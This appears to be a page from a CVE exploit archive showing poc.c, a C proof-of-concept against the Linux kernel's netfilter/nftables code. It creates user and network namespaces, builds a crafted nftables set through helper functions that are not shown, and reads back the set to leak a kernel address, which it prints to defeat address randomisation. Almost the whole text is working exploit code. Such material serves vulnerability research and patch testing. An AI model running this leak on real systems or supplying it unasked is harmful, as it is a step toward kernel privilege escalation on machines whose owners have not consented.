4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.c C
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>

#include <linux/netfilter.h>

#include "helper.h"

void write_to_file(const char *which, const char *format, ...) {
        FILE * fu = fopen(which, "w");
        va_list args;
        va_start(args, format);
        if (vfprintf(fu, format, args) < 0) {
                perror("cannot write");
                exit(1);
        }
        fclose(fu);
}

static int setup_sandbox(void)
{
        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWUSER) < 0)
        {
                perror("[-] unshare(CLONE_NEWUSER)");
                return -1;
        }

        if (unshare(CLONE_NEWNET) < 0)
        {
                perror("[-] unshare(CLONE_NEWNET)");
                return -1;
        }

        printf("[+] unshare done\n");

        cpu_set_t set;
        CPU_ZERO(&set);
        CPU_SET(0, &set);
        if (sched_setaffinity(getpid(), sizeof(set), &set) < 0)
        {
                perror("[-] sched_setaffinity");
                return -1;
        }

        // now we map uid and gid
        write_to_file("/proc/self/uid_map", "0 %d 1", uid);
        // deny setgroups (see user_namespaces(7))
        write_to_file("/proc/self/setgroups", "deny");
        // remap gid
        write_to_file("/proc/self/gid_map", "0 %d 1", gid);

        return 0;
}

int main()
{
	uint64_t kernel_leak = 0;
	uint32_t family;
	char * table_name;
	char * set_name;

        if (setup_sandbox())
        {
                printf("[-] setup_sandbox() failed");
                return -1;
        }

	family = NFPROTO_IPV4;
	table_name = "test_table";
	set_name = "test_set";
	add_table(family, table_name);
	add_mal_set(family, table_name, set_name);

	// leak
	get_set(family);
	hexDump("leak_buffer", leak_buffer, 40);
	kernel_leak = *(uint64_t *)((void *)leak_buffer+0x1c);
	printf("[+] kernel=0x%016lx\n", kernel_leak);
	//example_getset(family);
	return 0;
}